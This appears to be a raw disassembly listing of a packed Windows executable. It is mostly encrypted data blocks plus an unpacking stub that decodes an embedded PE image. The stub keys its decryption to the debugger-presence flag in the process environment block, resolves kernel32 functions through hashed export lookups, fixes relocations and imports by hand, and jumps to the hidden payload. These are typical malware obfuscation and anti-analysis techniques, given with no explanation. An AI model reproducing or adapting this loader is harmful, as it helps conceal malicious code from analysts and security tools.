		dd 366FD58Ch, 78F24430h, 0BDCC1F82h, 0BA52221Ah, 18FA4C61h
		dd 98AA3BEFh, 0ABE0C24Ch
		dd 0CA77197Eh, 1E4C914Fh, 1EFEE008h, 5C9ED960h,	0B328EE3Fh
		dd 518D107Bh, 0E2C93AA1h, 995F9260h, 0C01339D3h, 1168A53Dh
		dd 4EAF2C47h, 3EB1B06Eh, 60C0F8BAh, 0C385B63h, 0F14E9741h
		dd 0D376CD09h, 0C7F81334h, 0F1D8059Ah, 8645A15Fh, 2B0D525Ch
		dd 0B2421795h, 0E34B5E99h, 0BA2B6743h, 678F07CEh, 0A57A89D7h
		dd 0E34F752Ah, 0EACAD223h, 3742BE2Eh, 0C5FB89F6h, 3CB4B3B7h
		dd 0B7FE1A3h, 0EAFA7DCDh, 0E4756D31h, 0E85FC585h, 6CE5CA33h
		dd 6DAA0D4Fh, 249F2FFDh, 8A9F3A21h, 0CAC0590Fh,	2470EA04h
		dd 31339721h, 8C0285D2h, 4EBBBFE3h, 194E4F0Ch, 0EE818CF5h
		dd 0B8EC09D2h, 0E1B14FEEh, 0C9844569h, 748D47C8h, 94BB064Dh
		dd 0BB8CA739h, 68F3264Ah, 0A2C14A2Ch, 7D1A15F8h, 0E8EFB93Dh
		dd 0DCF4594Bh, 8F3B49CCh, 680C9454h, 0B13153B2h, 5D104D62h
		dd 913DA9DCh, 0ABAE41D9h, 4B33DFB2h, 0F1574796h, 0E046A409h
		dd 0D0425432h, 0AA91180Eh, 192B3C6h, 5DE411E2h,	0ED060DB5h
		dd 3F426514h, 0E05275E3h, 0F114F24Bh, 976F2757h, 0DDAC22CAh
		dd 64E22FADh, 5E0CDC23h, 331D5B23h, 40DD4D1h, 5B0493C8h
		dd 80D49DECh, 3F5B1C2Ah, 3502702h, 4F699D5Ch, 85B76ECAh
		dd 71194C65h, 7F8DB0F3h, 0DE9FA86Dh, 91F5AA65h,	0F5713AAh
		dd 0BEAF466Fh, 0F6B7EEEAh, 0AE5F4104h, 445C1843h, 0DD3B1C30h
		dd 1EF9DEADh, 181DD1A1h, 9044FF1Dh, 0DAE8D318h,	0BD25CFA9h
		dd 405EC9B0h, 0E021E13Fh, 1C143F78h, 3329683Dh,	9171C49Eh
		dd 343443DCh, 587E802Fh, 0CED7C323h, 338FED42h,	5C7200A5h
		dd 0BF9717A3h, 0CBEB4AD9h, 0ADB91DCEh, 1DA5D1B7h, 0D78B8919h
		dd 9D24899Dh, 31B39664h, 5D3D67E4h, 301F647Dh, 15BF7C16h
		dd 4AC8F11h, 7DA99960h,	72D68CC8h, 0C6C5E590h, 6F6D3CFCh
		dd 287C8CE4h, 7BEC9974h, 0C6283C15h, 991E698Fh,	0BF51D298h
		dd 8FAFF4A2h, 2DEB50DCh, 4DE6D886h, 5A32AE28h, 0E4E3BA1h
		dd 0CFE02954h, 95E73E90h, 0ED08DFA4h, 0C9ED72EEh, 0DD94023Ch
		dd 5B845558h, 947ED177h, 0F53471EDh, 38288443h,	0DC995F63h
		dd 0D2ED2E0Dh, 0EA0856DBh, 0E101D77Ah, 62C43140h, 4F2769Ch
		dd 0BEEDBA66h, 2EB5C8Fh, 5A9B2670h, 0E381B097h,	2566979Ch
		dd 0A4A7016Fh, 2A961895h, 0CC24A613h, 0FFB7369h, 52D12AB0h
		dd 40913E3Ah, 5EDD9E8Fh, 0C911D5BCh, 0BC0A4082h, 0F7FAFFE2h
		dd 678E87BEh, 60BBED55h, 230CB462h, 0AE9EEE1h, 0ED8849CCh
		dd 8F2CABDCh, 12962ACDh, 301D81ABh, 5F23BBBEh, 0FC1C50B0h
		dd 0B5C1AE52h, 2CBB7FB3h, 47000CB4h, 0C2433A48h, 0ABD64EFAh
		dd 1F3118E5h, 55580C59h, 0C9961B07h, 2E8FD7AAh,	8B3DBAD2h
		dd 94ED05D1h, 160A2FEAh, 6E79A48Ch, 9193E094h, 1668847Fh
		dd 172E1D93h, 0B609A928h, 79694ED6h, 0C38830EFh, 810D4208h
		dd 9F9264CDh, 54C3E96Dh, 9A40C911h, 7B4C6630h, 0A11F39A8h
		dd 6A9DF85Fh, 0CA3AF611h, 976C0B3Dh, 0F1B41066h, 51A3AAB0h
		dd 0C874387Ah, 4BC200EAh, 0B4AFC5C1h, 217F33FDh, 3679AE33h
		dd 104A0151h, 7D3881DEh, 5C91AF26h, 0F676E2B4h,	0A1235BCh
		dd 0A3777AFEh, 0EC80F5A9h, 9899134Dh, 0DD4E398Ch, 0EE1DFE78h
		dd 89484F66h, 84631EA8h, 102F5808h, 2768B5Ah, 494F78B5h
		dd 0E3A828E5h, 9BBB3E1Ah, 34166B6Ch, 9B6C34CEh,	4B4BD005h
		dd 0A8A2D521h, 4BCE4EC7h, 96C7625Fh, 850C9C20h,	2D235191h
		dd 0A4CBE423h, 5C6101E2h, 0D363640Dh, 56C211DCh, 445A8737h
		dd 37F8ECDEh, 0E87A2749h, 5CD4F2Ch, 0D43742AFh,	5EB9066Ah
		dd 0B3035BF4h, 0FDDE18BCh, 0EF8CC4EDh, 7A991513h, 0CF29DB8Ch
		dd 522ACF2Eh, 1E4898Fh,	36ADE40Ah, 43D17D1Bh, 0AFF290F3h
		dd 60260727h, 21A0AB0Fh, 5D17D562h, 21979D49h, 0DB96478Dh
		dd 50F9A19Eh, 0BDBECE68h, 2FDD850Ah, 797B938Ah,	305D1438h
		dd 47AA9C96h, 2271E0B4h, 0CF49A27h, 0EC8C02E9h,	69C4B554h
		dd 0CDA6954Bh, 0A13C7EF4h, 0DCE311Fh, 89C9F533h, 10A0051Ch
		dd 70E0711Eh, 70A965C2h, 0E080BF94h, 6B980399h,	0B36CC5B5h
		dd 4C3140ABh, 317B90F4h, 133BE87Eh, 5A66BD9Ch, 0D4B61415h
		dd 92FBDC3Ah, 63384F48h, 9B5A73B2h, 0E8B43133h,	70985D9Ch
		dd 125816AEh, 7A1E7744h, 51BFDB63h, 9CEFC527h, 0F2D8B02Eh
		dd 0DB621932h, 103BECCEh, 0B4BE8B50h, 7EA39163h, 581CDBFh
		dd 0B8D1CD1h, 86B66889h, 87560911h, 0B7A36BDEh,	13222FDFh
		dd 4900B066h, 0C10072F8h, 0A7F7069Eh, 63C91862h, 7D49695h
		dd 716B58BDh, 31C7BF39h, 218FDEF3h, 93267D95h, 72B1A0D4h
		dd 0D3CC05C3h, 4E37C0F7h, 0CF6211E8h, 0B41117A3h, 84E0DE43h
		dd 8F3A7611h, 99C4648Ah, 0F5C64C2Eh, 0CC069194h, 0D5A10DCFh
		dd 0AB2F5D69h, 784FE017h, 5E9B873Fh, 7CB06EB3h,	774D21C5h
		dd 4790AED3h, 0D995D863h, 0D51EA584h, 33614E38h, 0BEE4934Fh
		dd 9CB5C73Dh, 0CE6AA421h, 1B8B9879h, 9226CF1Bh,	0BCAF90DBh
		dd 0A2B45FA1h, 3B6FB82Bh, 0EE1B46D3h, 36C37A4Ch, 5F3A0E10h
		dd 216A5440h, 0F3F1842Bh, 0EC39DB66h, 49E2E5E8h, 0CE5D6CF2h
		dd 0A4D0D799h, 0DF00A76h, 88EC604Dh, 0C3D51CBDh, 0FF233E4Ah
		dd 38B6B5A4h, 0EAE94A4Ch, 0DAE94907h, 5178B238h, 0B688D925h
		dd 3DCA5F89h, 239CB7FEh, 0A1EE2667h, 9D209031h,	58FF51Ah
		dd 0BDB33979h, 150CE8A4h, 8EC5E24Ch, 0EAEEB146h, 887B8198h
		dd 0FB41BC62h, 878C3CC7h, 7CF61754h, 0AAA08CC0h, 1C3357C8h
		dd 0D8763AE0h, 2A872173h, 0C494C2E4h, 3C8881BEh, 0C0E7072Eh
		dd 80E1E7Bh, 0D3580A29h, 69E0B2A7h, 6D8A2A0Dh, 0FFEC39B4h
		dd 2943261Eh, 4C7BC572h, 92F5D03Ch, 29A14569h, 8E075517h
		dd 3ECC841Bh, 0FC637DF6h, 5F29072h, 3C0094D8h, 7032024Bh
		dd 3FA491ECh, 974BB1E4h, 1373B4BEh, 915E83A0h, 0F92F9E96h
		dd 44C8B539h, 0EB3AA2EFh, 25C97E29h, 812952BFh,	27F7B94Bh
		dd 223C9FEAh, 613103Bh,	0ABB1B272h, 0DCA3D9A7h,	6679846Eh
		dd 3D271085h, 0F05D667Ah, 597A80A8h, 6A0C9AA8h,	0E0496A7Bh
		dd 7126CA81h, 7EC04B1Dh, 0FCD3461Eh, 0A14BF111h, 46D62FE4h
		dd 2062ECB8h, 0F60CD169h, 6C340308h, 2E420983h,	13EED6C8h
		dd 229D9291h, 60F08F34h, 0A36E4A3h, 5C8236E4h, 844A465Dh
		dd 0A9E18CE8h, 60DADE7Ch, 8003EF9Bh, 158F861Bh,	936AF5F7h
		dd 24151A2Fh, 0D0C0727Eh, 0F45C270Ch, 172000E9h, 0B21E60B0h
		dd 0D3BC8BD0h, 23477EA6h, 7F94D440h, 10FCD544h,	81B866C9h
		dd 1CD2FFD9h, 9C7CE666h, 0EF91E190h, 53E599E1h,	0B7EE614Dh
		dd 0BD46EB8Ch, 0EDCA8BDEh, 68793Fh, 0FC0EC33h, 964285Dh
		dd 3440113Ch, 11D21051h, 916F0893h, 9FDCAB1Bh, 2C13FA99h
		dd 964BA20Ah, 64D46A90h, 987640A0h, 0C2FC57ABh,	0AED95CBEh
		dd 8A40DF80h, 0C4005AB0h, 9454A85h, 2BB34301h, 3C630AAEh
		dd 0D9FBEE84h, 0B8879611h, 1148FE66h, 0BED76849h, 0E5AFBBBEh
		dd 0BDB3F928h, 56E647B1h, 38A09EA5h, 21F47F84h,	66B90BCFh
		dd 3E6F8DD6h, 8323D682h, 0CF0A570Fh, 685E1EBFh,	320B614Eh
		dd 959EBAD0h, 0E1B5214Ch, 709A3524h, 45ACE501h,	0DF938093h
		dd 0E42EFD0Fh, 976CC7D2h, 58C5AC69h, 0D736B11Ch, 3714604Ch
		dd 72F607C0h, 0D52C08C8h, 0BADBAA98h, 69A4EEC1h, 34940D30h
		dd 914FBB9Ch, 4E0A2E33h, 31CA5D2Fh, 954323C5h, 201A0333h
		dd 4C2164C4h, 7E4BD6C6h, 99FC09C5h, 5D5C9342h, 9B514ED8h
		dd 0DE7C4A69h, 23057B33h
		dd 0B1497A51h, 4AE68791h, 0AA3FCB31h, 4A876572h, 9166405Dh
		dd 1E48572Ch, 7FB69D4Fh, 87367FFh, 63BDD709h, 91CF9EDDh
		dd 0A08F0D6Eh, 68AF25BCh, 2ED95725h, 0CA15A74Dh, 78CD9CE2h
		dd 0FD6D995Dh, 24B88701h, 85A5B98Dh, 7F5CD93Fh,	5C8C7CA9h
		dd 0BA74CB3h, 0F6675C4h, 0F33F7690h, 0A4D1CD05h, 40E517B5h
		dd 355EC660h, 0AF103BDAh, 580D9E6Ch, 1B4888CAh,	6BAEB763h
		dd 8E9C9786h, 1E0A1E0Bh, 10C73DF5h, 0A0FC3E3Ah,	0D1570CABh
		dd 21B9B5CAh, 94D0F85Dh, 0B1B21858h, 0C543A9FFh, 0B0C9B05Fh
		dd 0FBA20EF3h, 0A35566E1h, 0AB923EDh, 6BCDF61Ah, 86997521h
		dd 32D1BA4Dh, 6A326505h, 570FA31h, 0E1E2CE46h, 698202C0h
		dd 61CF712Dh, 6ECAA79Eh, 67A90C9Ch, 0ED82806Dh,	54DF0C79h
		dd 0DB6C6CC1h, 0F3AACEB9h, 79A7AC9Fh, 8908BD0Fh, 972E5DACh
		dd 24426E36h, 17B10244h, 0BEEDF83Bh, 0BCD684CBh, 0A656ADC8h
		dd 0D1F9E5F9h, 3BB7A809h, 7909B197h, 80988942h,	0DAD942A7h
		dd 8EABE9D7h, 2476161Eh, 0B9D79C5Dh, 0A7468E01h, 0B4C6D17Dh
		dd 0E0E66B85h, 2DB771FDh, 0F2553A0h, 0CFD8FAE2h, 0D8B8884h
		dd 0D32F97FFh, 174B4597h, 23A3F0B5h, 4CF6A011h,	0BC8FEFC1h
		dd 26526044h, 22657CECh, 2A4337E7h, 465FB841h, 80FDD069h
		dd 4EF481F6h, 61C43FB2h, 67A87203h, 3FE1AD17h, 6DC2E293h
		dd 0A2ABBA95h, 2BB7729Fh, 0AF5BC8A0h, 8DD5704Fh, 1C9C3716h
		dd 8BAD0FC0h, 564B0E93h
; ---------------------------------------------------------------------------


loc_46BC00:				; CODE XREF: DMN1:0046D5A0j
		push	ebx
		push	ecx
		push	edx
		push	esi
		push	edi
		push	ebp
		mov	eax, 4000h
		mov	ecx, 1000h


loc_46BC10:				; CODE XREF: DMN1:0046BC22j
		xor	eax, ebx
		sub	eax, 0B0B1560Dh
		add	ax, cx
		ror	eax, 7
		add	eax, 0DEADC0EDh
		loop	loc_46BC10
		cld
		call	$+5
		pop	eax
		mov	ebp, eax
		sub	ebp, 2Ah
		sub	eax, 6AC2Ah
		lea	esi, [eax+4106Bh]
		mov	[ebp+2CAh], esi
		lea	eax, [eax-1000h]
		mov	[ebp+2A6h], eax
		mov	edi, [esi+3Ch]
		add	edi, esi
		mov	[ebp+2B2h], esi
		mov	[ebp+2B6h], edi
		pusha
		call	sub_46BF18
		popa
		mov	eax, [ebp+2A6h]
		mov	edx, [eax+3Ch]
		add	edx, eax
		mov	eax, [edx+28h]
		add	eax, [ebp+2A6h]
		mov	[ebp+2BEh], eax
		mov	eax, [edx+50h]
		mov	[ebp+2C2h], eax
		mov	edx, [ebp+304h]
		mov	[ebp+2BAh], edx
		mov	eax, [ebp+2A6h]
		mov	[ebp+2AAh], eax
		sub	eax, [ebp+300h]
		mov	[ebp+2AEh], eax
		mov	ecx, [ebp+30Ch]
		mov	esi, [ebp+2B2h]
		mov	edi, [ebp+2AAh]
		push	edi


loc_46BCBF:				; CODE XREF: DMN1:0046BCCDj
		lodsb
		push	ecx
		mov	ecx, large fs:30h
		sub	al, [ecx+2]
		pop	ecx
		stosb
		loop	loc_46BCBF
		pop	edi
		mov	eax, [edi+3Ch]
		add	edi, eax
		mov	[ebp+2B6h], edi
		mov	eax, edi
		movzx	edx, word ptr [eax+6]
		mov	ebx, eax
		add	ebx, 0F8h


loc_46BCE9:				; CODE XREF: DMN1:0046BD1Ej
		xor	eax, eax
		mov	edi, [ebx+0Ch]
		cmp	edi, eax
		jz	short loc_46BD1A
		mov	ecx, [ebx+10h]
		jecxz	short loc_46BD1A
		mov	esi, [ebx+14h]
		cmp	esi, eax
		jz	short loc_46BD1A
		add	esi, [ebp+2B2h]
		add	edi, [ebp+2AAh]


loc_46BD0A:				; CODE XREF: DMN1:0046BD18j
		lodsb
		push	ecx
		mov	ecx, large fs:30h
		add	al, [ecx+2]
		pop	ecx
		stosb
		loop	loc_46BD0A


loc_46BD1A:				; CODE XREF: DMN1:0046BCF0j
					; DMN1:0046BCF5j ...
		add	ebx, 28h
		dec	edx
		jnz	short loc_46BCE9
		mov	eax, [ebp+2AAh]
		mov	[ebp+2B2h], eax
		mov	ecx, [ebp+2FCh]
		jecxz	short loc_46BD3C
		add	ecx, eax
		mov	dword ptr [ecx], 0


loc_46BD3C:				; CODE XREF: DMN1:0046BD32j
		mov	esi, [ebp+2B6h]
		mov	ecx, [esi+0A4h]
		jecxz	short loc_46BD8D
		mov	ecx, [esi+0A0h]
		jecxz	short loc_46BD8D
		mov	esi, [ebp+2AAh]
		add	esi, ecx


loc_46BD5A:				; CODE XREF: DMN1:0046BD6Bj
					; DMN1:0046BD8Bj
		lodsd
		or	eax, eax
		jz	short loc_46BD8D
		add	eax, [ebp+2AAh]
		mov	edx, eax
		lodsd
		sub	eax, 8
		jz	short loc_46BD5A
		mov	ecx, eax
		shr	ecx, 1


loc_46BD71:				; CODE XREF: DMN1:loc_46BD89j
		lodsw
		test	ah, 30h
		jz	short loc_46BD89
		and	eax, 0FFFh
		add	eax, edx
		mov	ebx, [eax]
		add	ebx, [ebp+2AEh]
		mov	[eax], ebx


loc_46BD89:				; CODE XREF: DMN1:0046BD76j
		loop	loc_46BD71
		jmp	short loc_46BD5A
; ---------------------------------------------------------------------------


loc_46BD8D:				; CODE XREF: DMN1:0046BD48j
					; DMN1:0046BD50j ...
		mov	edx, [ebp+308h]
		add	edx, [ebp+2AAh]
		mov	[ebp+2A2h], edx
		mov	esi, [ebp+2B6h]
		mov	esi, [esi+80h]
		or	esi, esi
		jz	loc_46BE44
		add	esi, [ebp+2AAh]


loc_46BDB9:				; CODE XREF: DMN1:0046BE3Fj
		mov	eax, [esi+0Ch]
		or	eax, eax
		jz	loc_46BE44
		push	esi
		add	eax, [ebp+2AAh]
		cmp	byte ptr [eax],	0
		jz	short loc_46BE3A
		push	eax
		call	dword ptr [ebp+4ADh]
		or	eax, eax
		jz	loc_46BE97
		mov	esi, [esp]
		push	eax
		mov	edi, [esi+10h]
		or	edi, edi
		jz	short loc_46BE3A
		mov	eax, edi
		add	edi, [ebp+2AAh]
		mov	edx, [esi]
		or	edx, edx
		jnz	short loc_46BDFA
		mov	edx, eax


loc_46BDFA:				; CODE XREF: DMN1:0046BDF6j
		add	edx, [ebp+2AAh]


loc_46BE00:				; CODE XREF: DMN1:0046BE38j
		mov	eax, [edx]
		or	eax, eax
		jz	short loc_46BE3A
		bt	eax, 1Fh
		jnb	short loc_46BE13
		and	eax, 0FFFFh
		jmp	short loc_46BE1C
; ---------------------------------------------------------------------------


loc_46BE13:				; CODE XREF: DMN1:0046BE0Aj
		add	eax, [ebp+2AAh]
		add	eax, 2


loc_46BE1C:				; CODE XREF: DMN1:0046BE11j
		push	edx
		push	eax
		push	dword ptr [esp+8]
		call	dword ptr [ebp+4B6h]
		or	eax, eax
		jz	short loc_46BE97
		pop	edx
		mov	[edi], eax
		mov	eax, 4
		add	edi, eax
		add	edx, eax
		jmp	short loc_46BE00
; ---------------------------------------------------------------------------


loc_46BE3A:				; CODE XREF: DMN1:0046BDCEj
					; DMN1:0046BDE8j ...
		pop	eax
		pop	esi
		add	esi, 14h
		jmp	loc_46BDB9
; ---------------------------------------------------------------------------


loc_46BE44:				; CODE XREF: DMN1:0046BDADj
					; DMN1:0046BDBEj
		mov	ecx, [ebp+2AAh]
		mov	eax, [ebp+2A2h]
		mov	[esp+1Ch], ecx
		cld
		pusha
		mov	edi, [ebp+2BEh]
		or	edi, edi
		jz	short loc_46BE86
		mov	ecx, [ebp+2A2h]
		jecxz	short loc_46BE7C
		mov	al, 0B8h
		stosb
		mov	eax, ecx
		stosd
		mov	eax, 0FFh
		stosb
		mov	eax, 0E0h
		stosb
		jmp	short loc_46BE86
; ---------------------------------------------------------------------------


loc_46BE7C:				; CODE XREF: DMN1:0046BE66j
		mov	al, 0C2h
		stosb
		mov	eax, 0Ch
		stosw


loc_46BE86:				; CODE XREF: DMN1:0046BE5Ej
					; DMN1:0046BE7Aj
		popa
		pop	ebp
		pop	edi
		pop	esi
		pop	edx
		pop	ecx
		pop	ebx
		cld
		or	eax, eax
		jz	short locret_46BE94
		jmp	eax
; ---------------------------------------------------------------------------

locret_46BE94:				; CODE XREF: DMN1:0046BE90j
		retn	0Ch
; ---------------------------------------------------------------------------


loc_46BE97:				; CODE XREF: DMN1:0046BDD9j
					; DMN1:0046BE2Aj
		mov	eax, 1
		jmp	dword ptr [ebp+4C8h]
; ---------------------------------------------------------------------------
		dd offset sub_407E30
		align 4
		dd 2 dup(40h), 0
a@a@:
		unicode	0, <@€@>
		dw 0C000h
		dd 0EE210002h, 46h, 7, 206B0000h, 44h, 0Ch dup(0)
		dd 400000h, 2C000h, 7E30h, 400h, 27A00h, 0

; =============== S U B	R O U T	I N E =======================================



sub_46BF18	proc near		; CODE XREF: DMN1:0046BC5Fp

var_4		= dword	ptr -4

		mov	eax, large fs:30h
		movzx	ebx, byte ptr [eax+2]
		add	eax, ebx
		mov	eax, [eax+0Ch]
		mov	edx, [eax+0Ch]
		push	edx
		lea	eax, [ebp+471h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_46BF40:				; CODE XREF: sub_46BF18+9Dj
		mov	edx, [esp+0Ch+var_4]
		mov	eax, [edx+18h]
		mov	ebx, eax
		mov	eax, [eax+3Ch]
		add	eax, ebx
		mov	ecx, [eax+78h]
		jecxz	short loc_46BFAB
		cmp	dword ptr [eax+7Ch], 0
		jz	short loc_46BFAB
		add	ecx, ebx
		mov	esi, [ecx+0Ch]
		or	esi, esi
		jz	short loc_46BFAB
		add	esi, ebx
		mov	eax, [esi]
		or	eax, 20202020h
		mov	[ebp+498h], eax
		mov	eax, [esi+4]
		or	ax, 2020h
		mov	[ebp+49Ch], eax
		mov	eax, [esi+8]
		or	eax, 202020h
		mov	[ebp+4A0h], eax
		mov	byte ptr [ebp+4A4h], 0
		lea	esi, [ebp+498h]
		mov	edi, 0Dh
		call	sub_46C0E7
		cmp	eax, [ebp+494h]
		jz	short loc_46BFB7


loc_46BFAB:				; CODE XREF: sub_46BF18+39j
					; sub_46BF18+3Fj ...
		mov	edx, [esp+0Ch+var_4]
		mov	edx, [edx]
		mov	[esp+0Ch+var_4], edx
		jmp	short loc_46BF40
; ---------------------------------------------------------------------------


loc_46BFB7:				; CODE XREF: sub_46BF18+91j
		mov	[ebp+47Ch], ebx
		mov	esi, [ebx+3Ch]
		add	esi, ebx
		mov	esi, [esi+78h]
		add	esi, ebx
		add	esi, 1Ch
		lodsd
		add	eax, ebx
		mov	[ebp+480h], eax
		lodsd
		add	eax, ebx
		mov	[ebp+484h], eax
		lodsd
		add	eax, ebx
		mov	[ebp+488h], eax
		sub	esi, 10h
		lodsd
		mov	[ebp+48Ch], eax
		xor	edx, edx
		mov	[ebp+490h], edx
		lea	eax, [ebp+4A8h]


loc_46BFFD:				; CODE XREF: sub_46BF18+110j
					; sub_46BF18+146j
		mov	esi, [ebp+484h]
		add	esi, edx
		mov	esi, [esi]
		add	esi, [ebp+47Ch]
		push	eax
		push	edx
		movzx	edi, byte ptr [eax+4]
		call	sub_46C0E7
		xchg	eax, ebx
		pop	edx
		pop	eax
		cmp	ebx, [eax]
		jz	short loc_46C02A
		add	edx, 4
		inc	dword ptr [ebp+490h]
		jmp	short loc_46BFFD
; ---------------------------------------------------------------------------


loc_46C02A:				; CODE XREF: sub_46BF18+105j
		shr	edx, 1
		add	edx, [ebp+488h]
		xor	ebx, ebx
		mov	bx, [edx]
		shl	ebx, 2
		add	ebx, [ebp+480h]
		mov	ecx, [ebx]
		add	ecx, [ebp+47Ch]
		mov	[eax+5], ecx
		add	eax, 9
		xor	edx, edx
		mov	[ebp+490h], edx
		lea	ecx, [ebp+4E7h]
		cmp	eax, ecx
		jb	short loc_46BFFD
		mov	esp, large fs:0
		pop	eax
		mov	large fs:0, eax
		pop	eax
		pop	eax
		retn
sub_46BF18	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+8]
		mov	esp, eax
		jmp	loc_46BFAB
; ---------------------------------------------------------------------------
		dd 77E60000h, 77E82168h, 77E82FE8h, 77E83E68h, 3A0h, 0
aHfKernel32_dll	db '>hf<kernel32.dll',0
		align 4
		dd 4134D1ADh, 0E805D80Dh, 0C97C1F77h, 0A5FD0FFFh, 890E77E7h
		dd 0A0D4402h, 8177E798h, 0C40F571h, 77E75CB5h, 335DDFDCh
		dd 0E7339C0Dh, 0FFFB1477h, 0F0440DF3h, 0D4BB77E7h, 9A0F79C3h
		db 16h,	0E6h, 77h

; =============== S U B	R O U T	I N E =======================================



sub_46C0E7	proc near		; CODE XREF: sub_46BF18+86p
					; sub_46BF18+FBp
		push	ebx
		push	ecx
		push	edx
		push	esi
		push	edi
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx
		push	ebx


loc_46C0F3:				; CODE XREF: sub_46C0E7+35j
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_46C102:				; CODE XREF: sub_46C0E7+2Ej
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_46C113
		xor	ax, 8320h
		xor	bx, 0EDB8h


loc_46C113:				; CODE XREF: sub_46C0E7+21j
		dec	dh
		jnz	short loc_46C102
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_46C0F3
		pop	ebx
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edi
		pop	esi
		pop	edx
		pop	ecx
		pop	ebx
		retn
sub_46C0E7	endp

; ---------------------------------------------------------------------------
		align 2
		dw 0EABh
		dd 2371B0D8h, 61789344h, 0A0C1DB60h, 457089F0h,	0A30468AEh
		dd 5BBF4A9Ch, 0BE1F0473h, 0B6FEF082h, 0ACA1F41Ch, 682A48C4h
		dd 0C8A2EC9Ah, 0FC0C9C3Fh, 4573D404h, 526F0961h, 1D874338h
		dd 7A8BE0FEh, 3CD21F27h, 4F650109h, 0EEC8D195h,	826F95CAh
		dd 0C896BB68h, 6A341DB6h, 342BFA6h, 1B051432h, 1A8FDF3Ah
		dd 53DA44FCh, 2E2585D6h, 1C5EC1E9h, 0D78763C1h,	0A3BF494Bh
		dd 0A0EE0613h, 23674138h, 5DBFFC92h, 0F22E6EDEh, 8C937B2Dh
		dd 532F3F59h, 0FE7A37C0h, 7460527Fh, 0FE0F153h,	87F910F1h
		dd 0DE9CFB78h, 657D53A0h, 85F25D4Bh, 9E7A71DFh,	0BC430BBBh
		dd 0DAB279CCh, 4213A2D6h, 0A46B1D89h, 9C330F28h, 57CCD95Ch
		dd 79D2B727h, 814C8C9Fh, 5327B005h, 674FE20h, 6AA5C46Dh
		dd 7A8A6248h, 973752Dh,	0D5596CA7h, 738719EAh, 0D3DEAEA9h
		dd 8481AAF0h, 9188430Ch, 7CAA763h, 5192FDF4h, 69C0CE2Fh
		dd 1F4840DEh, 0E1D75C26h, 2CE8E68Dh, 38F4AEEFh,	0D0082A8h
		dd 0C40AC606h, 6AC97154h, 8977D580h, 492FE027h,	0AEFF825Dh
		dd 0C0FFB937h, 90E03F57h, 7CA31D15h, 8E805D62h,	2873E2E5h
		dd 18DA5398h, 0C602E6D6h, 28A922FDh, 0D3691546h, 100CF4D1h
		dd 67100037h, 0C3C0C81Fh, 0FB9AD1ADh, 0AAE46643h, 597BC3C5h
		dd 8762F89Ch, 0BBCCC01Eh, 20ADF16h, 0E98A7E93h,	0DF389C4Fh
		dd 515CAFF6h, 0ACC55AF6h, 0D0C552C9h, 82C3ACE9h, 82F5CAA7h
		dd 54A7FEBEh, 1CCF2CF4h, 2F1E7071h, 3ED09DA3h, 180D5E7Ch
		dd 0A4663418h, 0FBB8A959h, 0B767A889h, 7954BA1h, 0DDDDE11h
		dd 7DA2FD02h, 3CD6F1FFh, 0A6ADB5BAh, 0D3D3885Eh, 55FEAFA8h
		dd 0C11ED494h, 94898343h, 0CF543DB9h, 98E70870h, 0CC902964h
		dd 0BFCD507Ch, 98F1DDD0h, 6FAF917Bh, 5C5664Ch, 0E050B750h
		dd 1EB82838h, 32617B96h, 0C0117622h, 2DAB44B8h,	0D96350C6h
		dd 0F6971BDBh, 89D34F6Bh, 590F3CDCh, 42D3DCAEh,	0A0A3D85Fh
		dd 0B938E5E0h, 7EDE31A7h, 0E6022528h, 8FA012D5h, 33C32767h
		dd 0CBEEDB8Eh, 0FE203897h, 93664ECBh, 7BBC728Ch, 1C8A0D28h
		dd 127CAD82h, 325348C6h, 3445E1D3h, 7AE06E33h, 92647B87h
		dd 33783CD3h, 1E9B6969h, 39C9D7B0h, 1E995C8Bh, 0BFA3DB10h
		dd 34BB470h, 38B79558h,	0BC5B5262h, 666A1E65h, 5D5523DBh
		dd 0DCB3F000h, 0C0D7F743h, 0C593C2D9h, 0A35AD0CDh, 4D90D97h
		dd 0BF82C990h, 2ED03E49h, 6F65D73h, 5B6E5DF9h, 0E3769ECDh
		dd 76A95B5Ah, 93BA0C75h, 84079285h, 47F635B3h, 0B694C2DEh
		dd 0D3765EAh, 4CC209ADh, 0C8AEE8B2h, 7677F327h,	0BF2908Dh
		dd 7486A448h, 8D081517h, 879AD165h, 2AF364FCh, 0CD335C02h
		dd 0CC0CD908h, 53EF4E45h, 0BA7D7AA1h, 0CAAA195Ch, 0A713F5A6h
		dd 7C26AB42h, 671D6394h, 0BD2D2813h, 7BD8BB4Bh,	162BFFD4h
		dd 0EAE347C9h, 0A2EF584Eh, 80686AD4h, 0B71C29A0h, 2CE09D83h
		dd 2BF34C71h, 0AB12DFCBh, 99CF22CBh, 2C353C1Fh,	58C6D5FAh
		dd 0C6305CB4h, 0ECC730A8h, 0CA41CEE6h, 95C5811Fh, 1325E8D4h
		dd 22DA92AEh, 9CDBCFC3h, 95510E90h, 4B5D4311h, 8AC5FD31h
		dd 0EA213173h, 0E8012BEBh, 825FA951h, 2873522Ch, 11502A0Ah
		dd 31C54B2Fh, 0B5904DDh, 9CEB90E2h, 37B73E86h, 0FBA59833h
		dd 0A3C48117h, 6DC5A7CAh, 964D7798h, 0F23A54C9h, 0E633D58Ah
		dd 6058A2E1h, 0B417CDD0h, 61AD07DFh, 55DFF5FDh,	0DFC61962h
		dd 0EE68FBE2h, 1A1C4D2Fh, 437597E0h, 0AD737375h, 45043699h
		dd 0FB61847Ch, 63F6A6h,	0AF83C51Fh, 0FCEBD00h, 0FBAAE500h
		dd 6E0A59F1h, 0A015A381h, 6C36D641h, 0BFEEAD57h, 0C59D316Bh
		dd 0EED576A2h, 0CECB8C9Fh, 0D53A76BCh, 2A81BBA4h, 470F30BEh
		dd 8E994D09h, 0D1933929h, 0CB571679h, 4AA52AC2h, 0CE75B27Eh
		dd 7961CFF3h, 5A54E05Ch, 0BA800875h, 8CE71AD6h,	472D4247h
		dd 0FDAFDDEDh, 0B7C5019h, 68474185h, 0DECE32C7h, 275E880h
		dd 0EEE9887Dh, 611099FEh, 0AB83A78Fh, 5F279F70h, 0F10447C5h
